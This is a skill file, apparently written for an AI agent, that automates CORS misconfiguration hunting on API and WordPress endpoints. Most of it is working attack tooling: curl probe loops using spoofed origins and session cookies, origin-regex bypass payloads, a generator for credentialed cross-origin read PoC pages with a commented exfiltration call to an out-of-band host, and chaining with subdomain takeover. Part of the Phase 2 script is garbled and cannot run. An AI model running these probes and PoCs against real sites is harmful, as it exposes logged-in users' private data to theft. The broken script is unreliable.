| name | cors-chain-automation |
| description | Use when a bounded list of authorized API endpoints needs consistent CORS triage before browser validation. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| category | redteam |
| tags | ["cors","automation","chain","redteam"] |
Multi-Endpoint CORS Triage
When to Use
Use when you have a list of API endpoints or target domains and need to systematically find credential-exploitable CORS misconfigurations at scale. Distinguishes the 3 exploitable patterns (reflect-any-origin + credentials, null-origin trust, subdomain-regex bypass) from false positives (ACAO: * alone, ACAC without reflected origin, same-origin-only). Generates ready-to-use browser PoC HTML files for confirmed findings.
CORS Variations
| # | Variation | Initial signal | Required follow-up |
|---|
| V1 | Origin reflection with credentials | Reflected origin and ACAC: true | Credentialed browser reads protected data |
| V2 | Null-origin trust | ACAO: null and ACAC: true | Sandboxed browser proof |
| V3 | Wildcard without credentials | ACAO: * | Determine whether the data is already public |
| V4 | Credentialed preflight | OPTIONS accepts origin and method | Actual browser request succeeds |
| V5 | Protected-route CORS | CORS appears on a 401 or 403 | Approved session returns protected data |
| V6 | Broad origin reflection | Several unrelated origins are reflected | Controlled-origin browser proof |
| V7 | Namespace-specific CORS | Only one API or plugin namespace reflects | Validate that namespace's data or action |
| V8 | Environment-specific CORS | Policies differ across environments | Demonstrate impact within scope |
Critical Implementation Lesson — Test ALL Endpoints, Not Just /users
Do not infer policy for an entire application from one route. Test the bounded
set of endpoints supported by the application map:
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"
for ep in /wp-json/wp/v2/users /wp-json/wp/v2/posts /wp-json/wp/v2/pages \
/wp-json/wp/v2/media /wp-json/wp/v2/comments /wp-json/wp/v2/statuses \
/wp-json/wp/v2/tags /wp-json/wp/v2/categories /wp-json/wp/v2/settings \
/wp-json/wc/v3/products /wp-json/gf/v2/forms /wp-json/wp-site-health/v1; do
cors=$(curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null | grep -iE "access-control-allow-origin|access-control-allow-credentials")
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null)
echo "${ep} — HTTP ${code} | ${cors:-NO CORS}"
done
Even endpoints returning 401/403 (auth required) still emit CORS headers — and if an admin is logged in, those 401s become 200s with sensitive data readable cross-origin.
CORS on OPTIONS Preflight (V4)
Some sites only leak CORS headers on OPTIONS preflight, not on GET. Always test both:
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" | grep -iE "access-control"
Null Origin Testing (V2)
Sandboxed iframes send Origin: null. Some sites whitelist it. Test explicitly:
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: null" | grep -iE "access-control"
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: https://evil.com" \
-H "Cookie: $COOKIE" | grep -i "access-control"
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: null" \
-H "Cookie: $COOKIE" | grep -i "access-control"
for origin in "https://evil.com" "https://eviltarget.com" "https://x.target.com.evil.com"; do
echo "=== $origin ==="
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" -H "Origin: $origin" -H "Cookie: $COOKIE" | grep -i "access-control"
done
Step-by-Step
Phase 1 — Endpoint Discovery
#!/bin/bash
TARGET="$1"
ENDPOINTS=(
"/api/me" "/api/user" "/api/profile" "/api/session" "/api/tokens"
"/api/csrf" "/api/account" "/api/settings" "/api/config"
"/api/v1/me" "/api/v1/user" "/api/v1/profile"
"/wp-json/wp/v2/users" "/wp-json/wp/v2/posts"
"/graphql" "/v1/graphql"
"/.well-known/openid-configuration"
)
for endpoint in "${ENDPOINTS[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
-H "Origin: https://evil.com" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control")
[ -n "$result" ] && echo "=== $endpoint ===" && echo "$result"
done
Phase 2 — Automated CORS Probe (3 patterns)
#!/bin/bash
TARGET="$1"
COOKIE="${2:-}"
PATTERNS=(
"https://evil.com"
"https://eviltarget.com"
"https://x.target.com.evil.com"
"null"
)
RESULTS_FILE="/tmp/cors_results_${TARGET//\//_}.txt"
echo "CORS Probe Results for $TARGET" > "$RESULTS_FILE"
echo "Cookie: ${COOKIE:+present}" >> "$RESULTS_FILE"
for origin in "${PATTERNS[@]}"; do
echo -e "\n--- Origin: $origin ---" >> "$RESULTS_FILE"
for ep in /api/me /api/user /api/profile /api/session /api/tokens /api/csrf; do
response=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ep" \
-H "Origin: $origin" ${COOKIE:+-H "Cookie: $COOKIE"} 2>/dev/null)
acao=$(echo "$response" | grep -i "access-control-allow-origin" | tr -d '\r')
acac=$(echo "" | grep -i | -d )
[ -n ] && >>
Phase 3 — Subdomain Regex Bypass Classification
#!/bin/bash
TARGET="$1"
ENDPOINT="/api/me"
declare -A TESTS
TESTS["Standard-subdomain"]="https://evil.$TARGET"
TESTS["Missing-dot-separator"]="https://evil${TARGET}"
TESTS["Missing-end-anchor"]="https://x.$TARGET.evil.com"
TESTS["Prefix-only"]="https://$TARGET.evil.com"
TESTS["Backtick-bypass"]="https://$TARGET%60.evil.com"
TESTS["Null-origin"]="null"
echo "=== CORS Regex Classification for $TARGET ==="
for test_name in "${!TESTS[@]}"; do
origin="${TESTS[$test_name]}"
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ENDPOINT" \
-H "Origin: $origin" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control-allow-origin")
echo "[$test_name] Origin: $origin → ${result:-NO MATCH}"
done
Phase 4 — Browser PoC Generation
#!/bin/bash
TARGET="$1"
ENDPOINT="$2"
SESSION_HINT="${3:-}"
DATE=$(date +%Y%m%d)
POC_FILE="poc-cors-${TARGET}-${DATE}.html"
cat > "$POC_FILE" << POCEOF
<!doctype html>
<html>
<head><title>CORS PoC — ${TARGET}${ENDPOINT}</title></head>
<body>
<h2>CORS Credential Read PoC</h2>
<p>Target: <code>https://${TARGET}${ENDPOINT}</code></p>
<p>Date: ${DATE}</p>
${SESSION_HINT:+<p>Session hint: <code>${SESSION_HINT}</code></p>}
<pre id="out">Loading...</pre>
<hr>
<h3>Results:</h3>
<script>
(async () => {
const out = document.getElementById('out');
const results = [];
try {
let r = await fetch('https://${TARGET}${ENDPOINT}', {credentials: 'include'});
let d = await r.text();
results.push('STATUS: ' + r.status);
results.push('BODY: ' + d.substring(0, 500));
// OOB exfil (uncomment for proof)
// await fetch('https://OOB-ID.oastify.com/exfil?d=' + btoa(d));
} catch(e) {
results.push('BLOCKED: ' + e.message);
}
out.textContent = results.join('\\n');
// Additional endpoints
const extraEndpoints = ['/api/user', '/api/session', '/api/tokens'];
for (const ep of extraEndpoints) {
try {
let r = await fetch('https://${TARGET}' + ep, {credentials: 'include'});
let d = await r.text();
results.push('--- ' + ep + ' ---');
results.push('STATUS: ' + r.status);
results.push('BODY: ' + d.substring(0, 300));
} catch(e) {
results.push('--- ' + ep + ' --- BLOCKED');
}
}
out.textContent = results.join('\\n');
})();
</script>
</body>
</html>
POCEOF
echo "[+] PoC written to: $POC_FILE"
echo " Host this on evil.com and visit while logged into $TARGET"
Phase 5 — Bulk Cross-Referencing with Subdomain Takeover
#!/bin/bash
CORS_RESULTS="$1"
SUB_RESULTS="$2"
echo "=== CORS + Subdomain Takeover Chain Candidates ==="
while read line; do
target=$(echo "$line" | awk '{print $1}')
cors_type=$(echo "$line" | awk '{print $2}')
sub_status=$(grep "$target" "$SUB_RESULTS" 2>/dev/null | head -1)
if [ -n "$sub_status" ]; then
echo "[CHAIN] $target — CORS: $cors_type | Subdomain: $sub_status"
echo " -> If CORS trusts *.$target and a subdomain is takeoverable: Critical chain"
fi
done < "$CORS_RESULTS"
Pitfalls
- Testing only /users endpoint — the #1 CORS detection mistake. CORS credential reflection on WordPress affects ALL REST endpoints, not just users. Test
/wp/v2/users, /wp/v2/posts, /wp/v2/pages, /wp/v2/media, and plugin-specific namespaces.
- Confusing ACAO: alone with exploitable CORS* —
Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true is safe. Only origin-reflection + credentials is exploitable.
- Skipping OPTIONS preflight — some sites only emit CORS headers on OPTIONS, not GET. Always test both methods.
- Missing null-origin test — sandboxed iframes send
Origin: null. Some sites whitelist it. Test explicitly.
- Single-origin test — testing only
Origin: https://evil.com misses multi-origin reflection patterns. Test at least 4 patterns: evil.com, subdomain bypass, null, and preflight.
- Auth-required endpoints still leak — even 401/403 responses can emit CORS headers. If an admin is logged in, those become 200s with cross-origin readable data.
- Staging-only CORS not documented — if CORS is only exploitable on staging, document this clearly. Production may have different controls.
- Browser PoC without credentials:include — the generated PoC must use
credentials: 'include' or the browser won't send cookies and the attack won't work.
- Shell loops for >5 endpoint iterations — zsh array expansion can silently fail. Use Python for bulk CORS probing beyond 5 endpoints.
Attack Surface Signals
- Endpoints returning
Access-Control-Allow-Origin header
- Cookie-authenticated API endpoints (PII, tokens, CSRF tokens in response body)
- WordPress REST API endpoints (
/wp-json/wp/v2/users, /wp-json/wp/v2/posts)
- SPAs with client-side API calls (Next.js, React, Vue)
Reference Files
Common Root Causes
- Reflect-any-origin with credentials — server echoes
Origin header and sets ACAC: true
- Null-origin trust — server whitelists
null origin, exploitable via sandboxed iframe
- Subdomain regex flaws — unescaped dots, missing end-anchors, missing prefix dots
- Origin header completely missing from validation — all origins accepted
- Pre-flight (OPTIONS) gating bypass — OPTIONS allows arbitrary methods/headers
Bypass Techniques
| Regex Flaw | Payload | Why |
|---|
| Missing dot before domain | https://eviltarget.com | .*target\\.com$ matches eviltarget.com |
Missing end-anchor $ | https://x.target.com.evil.com | regex matches prefix only |
Unescaped dot (. = any char) | https://xtargetXcom | . matches any single char |
Prefix-only (no $) | https://target.com.evil.com | matches start of string |
| Null trust | sandboxed iframe + data: URI | Origin: null sent automatically |
Real Examples
From field recon across 58 companies:
- 5/7 deep targets had CORS credential reflection on WP REST API (reflect-any-origin + ACAC)
- All 5 allowed credentialed cross-origin read of user lists, post content, and media files
- CORS findings chained to subdomain takeover → full same-origin JS execution
Verification
Run this self-test to confirm CORS probing works:
-
Basic CORS probe — test origin reflection on a known endpoint:
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control"
-
OPTIONS preflight test — confirm preflight probing syntax:
curl --max-time 30 --connect-timeout 10 -s -X OPTIONS "https://httpbin.org/get" -H "Origin: https://evil.com" -H "Access-Control-Request-Method: GET" -D - -o /dev/null | head -5
-
Null origin test — confirm null origin syntax:
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: null" -w "HTTP %{http_code}
"
4. **PoC template integrity** — verify the browser PoC template is present:
```bash
grep -q "credentials: 'include'" SKILL.md && echo "PASS: PoC template includes credentials" || echo "FAIL"
grep -q "fetch(" SKILL.md && echo "PASS: fetch() PoC pattern present" || echo "FAIL"
All 4 tests verify the core CORS probing capability.
Related Skills
- hunt-cors — underlying CORS hunting methodology
- hunt-subdomain — chain CORS + subdomain takeover for critical
- hunt-xss — browser PoC generation technique
- hunt-csrf — CORS pre-flight bypass chains to CSRF
- hunt-dom — postMessage origin checks relate to CORS origin checks
- hunt-wordpress — WP REST API is the most common CORS source